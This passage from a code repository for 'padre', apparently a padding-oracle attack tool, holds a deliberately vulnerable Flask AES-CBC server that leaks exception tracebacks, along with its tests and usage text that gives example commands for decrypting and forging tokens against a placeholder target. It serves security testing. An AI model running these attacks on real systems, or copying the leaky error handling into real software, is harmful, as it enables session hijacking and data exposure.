encoding=Encoding[encoding])\n\n    # decrypt cipher into plaintext\n    plain = crypto.decrypt(cipher, AES_key())\n\n    # answer\n    return plain, 200\n\n\n@app.route(\"/health\")\ndef health():\n    return \"OK\", 200\n\n\n# this is what makes the server vulnerable to padding oracle\n# it just talks too much about errors\n# NOTE: to test Padding Oracle detection, every exception's trace is printed\n# (not just IncorrectPadding)\n@app.errorhandler(Exception)\ndef handle_incorrect_padding(exc):\n    # pass through HTTP errors\n    if isinstance(exc, HTTPException):\n        return exc\n\n    # log exception\n    app.logger.error(exc)\n\n    if app.config.get(\"VULNERABLE\"):\n        # vulnerable response\n        response = make_response(traceback.format_exc(), 500)\n        response.headers[\"content-type\"] = \"text/plain\"\n        return response\n    else:\n        # non-vulnerable response\n        return \"Internal server error\", 500\n"
  },
  {
    "path": "test_server/crypto.py",
    "content": "import random\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Util import Padding\n\n\ndef random_bytes(length: int) -> bytes:\n    out = []\n    for _ in range(length):\n        out.append(random.randint(0, 0xFF))\n    return bytes(out)\n\n\nclass IncorrectPadding(Exception):\n    def __init__(self):\n        super().__init__(\"Incorrect Padding\")\n\n\ndef encrypt(data: bytes, key: bytes) -> bytes:\n    # pad data\n    data = Padding.pad(data, 16)\n\n    # new encryptor\n    encryptor = AES.new(key, AES.MODE_CBC)\n\n    # return IV + cipher\n    return encryptor.iv + encryptor.encrypt(data)\n\n\ndef decrypt(data: bytes, key: bytes) -> str:\n    # tell IV from cipher\n    iv, data = data[:16], data[16:]\n\n    # fresh encryptor with IV provided\n    encryptor = AES.new(key, AES.MODE_CBC, iv)\n\n    # decrypt\n    plain = encryptor.decrypt(data)\n\n    # unpad, decode, return\n    try:\n        return Padding.unpad(plain, 16)\n    except ValueError:\n        raise IncorrectPadding()\n"
  },
  {
    "path": "test_server/docker-compose.yaml",
    "content": "version: \"2.1\"\n\nservices:\n    vuln-server:\n        build: .\n        environment: \n            VULNERABLE: 1\n            USE_GEVENT: 1\n        ports:\n            - 5000:5000"
  },
  {
    "path": "test_server/encoder.py",
    "content": "import binascii as ba\nfrom enum import Enum, auto\n\n\nclass Encoding(Enum):\n    B64 = auto()  # base64\n    LHEX = auto()  # lowercase hex\n\n\n# decodes data\ndef decode(data: str, encoding: Encoding) -> bytes:\n    if encoding == Encoding.B64:\n        x = ba.a2b_base64(data)\n    elif encoding == Encoding.LHEX:\n        x = ba.unhexlify(data)\n    else:\n        raise RuntimeError(f\"Unknown encoding {encoding}\")\n    return x\n\n\n# encodes binary data as plaintext string\ndef encode(data, encoding: Encoding) -> str:\n    if encoding == Encoding.B64:\n        x = ba.b2a_base64(data).decode()[:-1]\n    elif encoding == Encoding.LHEX:\n        x = ba.hexlify(data).decode()\n    else:\n        raise RuntimeError(f\"Unknown encoding {encoding}\")\n    return x\n"
  },
  {
    "path": "test_server/requirements.txt",
    "content": "Flask==2.3.2\ngevent==23.9.1\npycryptodome==3.19.1\npytest==6.2.5\npytest-cov==3.0.0"
  },
  {
    "path": "test_server/server.py",
    "content": "import os\n\nfrom app import app\n\nif __name__ == \"__main__\":\n    # get application config from environment\n    for envvar in [\"VULNERABLE\", \"SECRET\"]:\n        if envvar in os.environ:\n            app.config[envvar] = os.environ[envvar]\n\n    if os.environ.get(\"USE_GEVENT\"):\n        from gevent import monkey\n\n        monkey.patch_all()\n        from gevent.pywsgi import WSGIServer\n\n        WSGIServer(\n            (\n                \"0.0.0.0\",\n                5000,\n            ),\n            app.wsgi_app,\n        ).serve_forever()\n    else:\n        app.run(\"0.0.0.0\", 5000)\n"
  },
  {
    "path": "test_server/setup.cfg",
    "content": "[tool:pytest]\ntestpaths =\n    tests\naddopts =\n    --cov=.\n    --cov-report=html\n    --cov-report=term\npython_functions =\n    test_*\npython_files =\n    *_test.py\n    \n[coverage:run]\ndata_file = /tmp/.coverage\nomit = \n    tests/*\n    venv/*\n    server.py\nbranch = True\n"
  },
  {
    "path": "test_server/tests/__init__.py",
    "content": "# do not delete\n# needed for pytest\n"
  },
  {
    "path": "test_server/tests/app_test.py",
    "content": "from argparse import Namespace\n\nimport pytest, itertools\n\nfrom app import app\nfrom encoder import Encoding\n\n@pytest.fixture(params=list(Encoding))\ndef encoding(request):\n    return request.param\n\n\n@pytest.fixture(params=[True, False])\ndef is_vulnerable(request):\n    return request.param\n\n\n@pytest.fixture(params=[\"GET\", \"POST\"])\ndef http_method(request):\n    return request.param\n\n\n@pytest.fixture\ndef secret():\n    return \"secret\"\n\n\n@pytest.fixture\ndef client(is_vulnerable, secret):\n    # create app config\n    config = Namespace(VULNERABLE=is_vulnerable, SECRET=secret)\n\n    # inject config\n    app.config.from_object(config)\n\n    # create test client\n    return app.test_client()\n\n\n@pytest.fixture\ndef call_route(client, http_method):\n    if http_method == \"GET\":\n        # apparently werkzeug expects query string to be passed as separated parameter in GET method\n        def get(endpoint, data = None):\n            return client.get(endpoint, query_string=data)\n        return get\n    elif http_method == \"POST\":\n        return client.post\n    else:\n        raise AssertionError(\"Not supported HTTP method: %s\" % http_method)\n\n\n@pytest.mark.parametrize(\"plaintext\", [\"\"])\ndef test_app(call_route, plaintext, is_vulnerable, encoding):\n    # send plaintext for encryption\n    resp = call_route(\"/encrypt\", data={\"plain\": plaintext, \"enc\": encoding.name})\n    assert resp.status_code == 200\n\n    # get response string\n    cipher = resp.data.decode()\n\n    # send for decryption\n    resp = call_route(\"/decrypt\", data={\"cipher\": cipher, \"enc\": encoding.name})\n    assert resp.status_code == 200\n\n    # compare results\n    deciphered = resp.data.decode()\n    assert deciphered == plaintext\n\n    # send malformed cipher\n    malformed_cipher = cipher[:-1]\n    resp = call_route(\"/decrypt\", data={\"cipher\": malformed_cipher})\n    assert resp.status_code == 500\n\n    # check response verbosity\n    if not is_vulnerable:\n        assert resp.data.decode() == \"Internal server error\"\n    else:\n        assert \"Traceback\" in resp.data.decode()\n\n\ndef test_absent_params(call_route):\n    # no plaintext\n    resp = call_route(\"/encrypt\")\n    assert resp.status_code == 500\n\n    # no ciphertext\n    resp = call_route(\"/decrypt\")\n    assert resp.status_code == 500\n\n    # no explicit encoding\n    resp = call_route(\"/encrypt\", data={\"plain\": \"test\"})\n    assert resp.status_code == 200\n\n\n@pytest.mark.parametrize(\"http_method\", [\"GET\"])\ndef test_health(call_route):\n    resp = call_route(\"/health\")\n    assert resp.status_code == 200\n\n\n# @pytest.mark.parametrize(\"secret\", [\"padre\"])\n# def test_reproducible_cipher(call_route, encoding, secret):\n#     print(app.config)\n#     resp = call_route(\"/encrypt\", data={\"plain\": \"padre\"})\n#     assert resp.status_code == 200\n#     if encoding == Encoding.B64:\n#         assert resp.data.decode() == \"P6tHBLB95YWpovay/a34pZNai624TAWLyWNVCMOmImM=\"\n#         print(app.config)\n#     elif encoding == Encoding.LHEX:\n#         assert resp.data.decode() == \"xxx\"\n"
  },
  {
    "path": "test_server/tests/crypto_test.py",
    "content": "import Crypto.Cipher.AES\nimport pytest\n\nimport crypto\n\nKEY_LENGTH = 16\n\n\n@pytest.fixture\ndef AES_key():\n    return crypto.random_bytes(KEY_LENGTH)\n\n\ndef generate_plain_variants():\n    # test all lengths up to AES block_size + 1\n    for i in range(Crypto.Cipher.AES.block_size + 2):\n        yield crypto.random_bytes(i)\n\n\n@pytest.mark.parametrize(\"plain\", generate_plain_variants(), ids=len)\ndef test_encrypt_decrypt(AES_key, plain):\n    # test normal flow\n    encrypted = crypto.encrypt(plain, AES_key)\n    decrypted = crypto.decrypt(encrypted, AES_key)\n    assert decrypted == plain\n\n    # test padding error\n    with pytest.raises(crypto.IncorrectPadding):\n        # decrement last byte in encrypted payload\n        # to cause padding error while decrypting\n        encrypted = bytearray(encrypted)\n\n        # stay in byte-value range\n        if encrypted[-1] > 0:\n            encrypted[-1] -= 1\n        else:\n            encrypted[-1] = 0xFF\n\n        crypto.decrypt(bytes(encrypted), AES_key)\n"
  },
  {
    "path": "test_server/tests/encoder_test.py",
    "content": "import pytest\n\nfrom crypto import random_bytes\nfrom encoder import Encoding, decode, encode\n\n\n@pytest.mark.parametrize(\"value\", [random_bytes(i) for i in range(10)], ids=len)\n@pytest.mark.parametrize(\"encoding\", list(Encoding))\ndef test_encoding_decoding(value, encoding):\n    encoded = encode(value, encoding)\n    decoded = decode(encoded, encoding)\n    assert decoded == value\n\n\ndef test_unknown_encoding():\n    with pytest.raises(RuntimeError):\n        encode(b\"\", -1)\n\n    with pytest.raises(RuntimeError):\n        decode(\"\", -1)\n"
  },
  {
    "path": "usage.go",
    "content": "package main\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\nvar usage = `\nUsage: cmd(padre [OPTIONS] [INPUT])\n\nINPUT: \n\tIn bold(decrypt) mode: encrypted data\n\tIn bold(encrypt) mode: the plaintext to be encrypted\n\tIf not passed, will read from bold(STDIN)\n\n\tNOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: flag(-e), flag(-r))\n\nOPTIONS:\n\nflag(-u) *required*\n\ttarget URL, use dollar($) character to define token placeholder (if present in URL)\n\nflag(-enc)\n\tEncrypt mode\n\nflag(-err)\n\tRegex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting\n\nflag(-e)\n\tEncoding to apply to binary data. Supported values:\n\t\tb64 (standard base64) *default*\n\t\tlhex (lowercase hex)\n\nflag(-r)\n\tAdditional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.\n\tExample:\n\t\tIf server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use cmd(-r \"/!+-=~\")\n\nflag(-cookie)\n\tCookie value to be set in HTTP requests. Use dollar($) character to mark token placeholder.\n\nflag(-post)\n\tString data to perform POST requests. Use dollar($) character to mark token placeholder. \n\nflag(-ct)\n\tContent-Type for POST requests. If not specified, Content-Type will be determined automatically.\n\t\nflag(-b)\n\tBlock length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:\n\t\t8\n\t\t16 *default*\n\t\t32\n\nflag(-p)\n\tNumber of parallel HTTP connections established to target server [1-256]\n\t\t30 *default*\n\t\t\nflag(-proxy)\n\tHTTP proxy. e.g. use cmd(-proxy \"http://localhost:8080\") for Burp or ZAP\n\nbold(Examples:)\n\tDecrypt token in GET parameter:\tcmd(padre -u \"http://vulnerable.com/login?token=$\" \"u7bvLewln6PJ670Gnj3hnE40L0SqG8e6\")\n\tPOST data: cmd(padre -u \"http://vulnerable.com/login\" -post \"token=$\" \"u7bvLewln6PJ670Gnj3hnE40L0SqG8e6\")\n\tCookies: cmd(padre -u \"http://vulnerable.com/login$\" -cookie \"auth=$\" \"u7bvLewln6PJ670Gnj3hnE40L0SqG8e6\")\n\tEncrypt token in GET parameter:\tcmd(padre -u \"http://vulnerable.com/login?token=$\" -enc \"EncryptMe\")\n`\n\nfunc init() {\n\t// add some color to usage text\n\tre := regexp.MustCompile(`\\*required\\*`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.Yellow(`(required)`))))\n\n\tre = regexp.MustCompile(`\\*default\\*`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.Green(`(default)`))))\n\n\tre = regexp.MustCompile(`cmd\\(([^\\)]*?)\\)`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.Cyan(\"$1\"))))\n\n\tre = regexp.MustCompile(`dollar\\(([^\\)]*?)\\)`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.CyanBold(\"$1\"))))\n\n\tre = regexp.MustCompile(`flag\\(([^\\)]*?)\\)`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.GreenBold(\"$1\"))))\n\n\tre = regexp.MustCompile(`link\\(([^\\)]*?)\\)`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.Underline(\"$1\"))))\n\n\tre = regexp.MustCompile(`bold\\(([^\\)]*?)\\)`)\n\tusage = string(re.ReplaceAll([]byte(usage), []byte(color.Bold(\"$1\"))))\n}\n"
  }
]